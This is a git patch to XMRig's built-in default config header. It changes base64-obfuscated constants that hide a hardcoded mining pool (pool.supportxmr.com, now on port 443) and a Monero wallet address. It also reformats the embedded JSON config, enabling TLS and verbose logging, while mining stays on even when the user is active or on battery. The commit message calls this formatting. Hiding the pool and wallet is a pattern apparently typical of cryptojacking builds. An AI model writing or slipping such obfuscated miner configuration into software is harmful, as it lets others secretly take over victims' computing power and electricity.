From 5b8a06c9a5be50195a20ac26a7b94a597759065c Mon Sep 17 00:00:00 2001 From: someone Date: Fri, 7 Nov 2025 16:07:43 +0100 Subject: [PATCH] Formatted config better added verbose logging and we use tls now --- src/core/config/Config_default.h | 134 ++++++++++++++++++++++++------- 1 file changed, 104 insertions(+), 30 deletions(-) diff --git a/src/core/config/Config_default.h b/src/core/config/Config_default.h index d9a6db6d..06c8263e 100644 --- a/src/core/config/Config_default.h +++ b/src/core/config/Config_default.h @@ -6,8 +6,8 @@ namespace xmrig { -const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTozMzMz"; -const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E="; +const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTo0NDM"; +const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E"; inline const char* unwrap(const char* s) { @@ -80,34 +80,108 @@ inline const char* getEmbeddedConfig() const char* url = url_copy; const char* user = unwrap(ENC_USER); - const char* template_str = R"===({ - "api":{"id":null,"worker-id":null}, - "http":{"enabled":false,"host":"127.0.0.1","port":0,"access-token":null,"restricted":true}, - "autosave":true, - "background":false, - "colors":true, - "title":true, - "randomx":{"init":-1,"init-avx2":-1,"mode":"auto","1gb-pages":false,"rdmsr":true,"wrmsr":true,"cache_qos":false,"numa":true,"scratchpad_prefetch_mode":1}, - "cpu":{"enabled":true,"huge-pages":true,"huge-pages-jit":false,"hw-aes":null,"priority":null,"memory-pool":false,"yield":true,"max-threads-hint":100,"asm":true,"argon2-impl":null,"cn/0":false,"cn-lite/0":false}, - "opencl":{"enabled":false,"cache":true,"loader":null,"platform":"AMD","adl":true,"cn/0":false,"cn-lite/0":false}, - "cuda":{"enabled":false,"loader":null,"nvml":true,"cn/0":false,"cn-lite/0":false}, - "donate-level":1, - "donate-over-proxy":1, - "log-file":null, - "pools":[{"algo":null,"coin":null,"url":"%s","user":"%s","pass":"x","rig-id":null,"nicehash":false,"keepalive":false,"enabled":true,"tls":false,"tls-fingerprint":null,"daemon":false,"socks5":null,"self-select":null,"submit-to-origin":false}], - "print-time":60, - "health-print-time":60, - "dmi":true, - "retries":5, - "retry-pause":5, - "syslog":false, - "tls":{"enabled":false,"protocols":null,"cert":null,"cert_key":null,"ciphers":null,"ciphersuites":null,"dhparam":null}, - "user-agent":null, - "verbose":0, - "watch":true, - "pause-on-battery":false, - "pause-on-active":false -})==="; + const char* template_str = R"===( + { + "api": { + "id": null, + "worker-id": null + }, + "http": { + "enabled": false, + "host": "127.0.0.1", + "port": 0, + "access-token": null, + "restricted": true + }, + "autosave": true, + "background": false, + "colors": true, + "title": true, + "randomx": { + "init": -1, + "init-avx2": -1, + "mode": "auto", + "1gb-pages": false, + "rdmsr": true, + "wrmsr": true, + "cache_qos": false, + "numa": true, + "scratchpad_prefetch_mode": 1 + }, + "cpu": { + "enabled": true, + "huge-pages": true, + "huge-pages-jit": false, + "hw-aes": null, + "priority": null, + "memory-pool": false, + "yield": true, + "max-threads-hint": 100, + "asm": true, + "argon2-impl": null, + "cn/0": false, + "cn-lite/0": false + }, + "opencl": { + "enabled": false, + "cache": true, + "loader": null, + "platform": "AMD", + "adl": true, + "cn/0": false, + "cn-lite/0": false + }, + "cuda": { + "enabled": false, + "loader": null, + "nvml": true, + "cn/0": false, + "cn-lite/0": false + }, + "donate-level": 1, + "donate-over-proxy": 1, + "log-file": null, + "pools": [ + { + "algo": null, + "coin": null, + "url": "%s", + "user": "%s", + "pass": "x", + "rig-id": null, + "nicehash": false, + "keepalive": false, + "enabled": true, + "tls": true, + "tls-fingerprint": null, + "daemon": false, + "socks5": null, + "self-select": null, + "submit-to-origin": false + } + ], + "print-time": 60, + "health-print-time": 60, + "dmi": true, + "retries": 5, + "retry-pause": 5, + "syslog": false, + "tls": { + "enabled": false, + "protocols": null, + "cert": null, + "cert_key": null, + "ciphers": null, + "ciphersuites": null, + "dhparam": null + }, + "user-agent": null, + "verbose": 9, + "watch": true, + "pause-on-battery": false, + "pause-on-active": false +} + )==="; snprintf(buf, sizeof(buf), template_str, url, user); return buf;